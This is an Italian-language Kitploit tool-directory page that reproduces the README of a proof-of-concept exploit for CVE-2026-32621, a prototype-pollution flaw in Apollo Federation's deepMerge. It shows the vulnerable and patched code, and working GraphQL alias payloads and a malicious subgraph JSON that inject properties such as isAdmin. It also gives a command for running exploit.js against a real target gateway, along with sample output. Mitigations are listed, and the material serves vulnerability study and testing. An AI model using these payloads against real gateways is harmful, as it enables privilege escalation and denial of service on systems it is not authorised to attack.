Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — Exploit PoC per CVE-2026-32621 che dimostra la prototype pollution di deepMerge in Apollo Federation tramite alias GraphQL appositamente creati, con test sulle versioni patchate. | Kitploit
Strumenti/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza delle API
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

Exploit PoC per CVE-2026-32621 che dimostra la prototype pollution di deepMerge in Apollo Federation tramite alias GraphQL appositamente creati, con test sulle versioni patchate.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
13 giorni faNon ancora revisionato

CVE-2026-32621 - PoC Prototype Pollution di Apollo Federation

Panoramica

CampoValore
CVECVE-2026-32621
CVSS9.9 Critico
CWECWE-1321 (Prototype Pollution)
Versioni affetteApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
Versioni corrette2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

Descrizione della vulnerabilità

La funzione deepMerge di Apollo Federation (utilizzata in @apollo/query-planner e @apollo/gateway per unire le risposte dei subgraph durante l'esecuzione del query plan) non sanifica le chiavi prima di accedere a target[key].

Quando un oggetto sorgente contiene __proto__ come proprietà propria (che JSON.parse crea), Object.keys() la restituisce e target["__proto__"] si risolve in Object.prototype attraverso la catena dei prototipi. La funzione di merge scrive quindi le proprietà direttamente su Object.prototype, inquinando la catena dei prototipi globale per l'intero processo Node.js.

Causa principale

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

Vettori di attacco

1. Lato client (query GraphQL dannosa)

Un client invia una query GraphQL con alias di campo chiamati __proto__, constructor o prototype. Quando il gateway elabora la risposta, deepMerge utilizza questi alias come chiavi, inquinando Object.prototype.

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. Lato subgraph (subgraph compromesso)

Un subgraph compromesso restituisce JSON con chiavi __proto__. Quando il gateway unisce la risposta tramite deepMerge, Object.prototype viene inquinato.

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. Catena annidata

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

Impatto

  • Escalation dei privilegi: inietta le proprietà isAdmin, role, permissions
  • Denial of Service: sovrascrive toString, valueOf con funzioni nulle/rotte
  • Integrità dei dati: inietta proprietà che influenzano la logica di business
  • Persistente: l'inquinamento colpisce TUTTE le richieste successive all'istanza del gateway
  • Cross-request: qualsiasi richiesta dopo l'attacco vede prototipi inquinati

Documentazione

DocumentoContenuto
USAGE.mdGuida all'uso dettagliata con istruzioni passo passo
DIAGRAM.mdDiagrammi di struttura e visualizzazione del flusso dell'attacco

File

| File | Scopo |

|------|---------| | exploit.js | Exploit principale con 5 vettori di attacco + dimostrazione locale | | test_exploit.js | Test unitari (15 test che validano l'inquinamento e la patch) | | e2e_test.js | Validazione end-to-end (10 test: gateway + exploit + verifica) | | setup_vulnerable.js | Simulatore di gateway vulnerabile per i test |

Utilizzo

Avvio rapido (dimostrazione locale)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

Questo dimostra l'esatto percorso di codice vulnerabile senza bisogno di un gateway in esecuzione.

Exploit completo (con gateway vulnerabile)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

Eseguire i test

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

Exploit contro un Apollo Gateway reale

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

Esempio di output

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Diagramma della catena di attacco

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

Consulta DIAGRAM.md per i diagrammi di architettura completi.

Mitigazione

  1. Aggiorna alle versioni corrette: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. Filtraggio degli input: blocca le operazioni GraphQL che contengono __proto__, constructor, prototype negli alias di campo e nei nomi delle variabili
  3. Fiducia nei subgraph: assicurati che tutti i subgraph provengano da fonti attendibili
  4. Object.create(null): usa oggetti a prototipo nullo dove possibile

Riferimenti

  • Voce NVD
  • Avviso GitHub GHSA-pfjj-6f4p-rvmh
  • Avviso di sicurezza Apollo Federation
  • CWE-1321

Licenza

MIT

Scarica lo strumento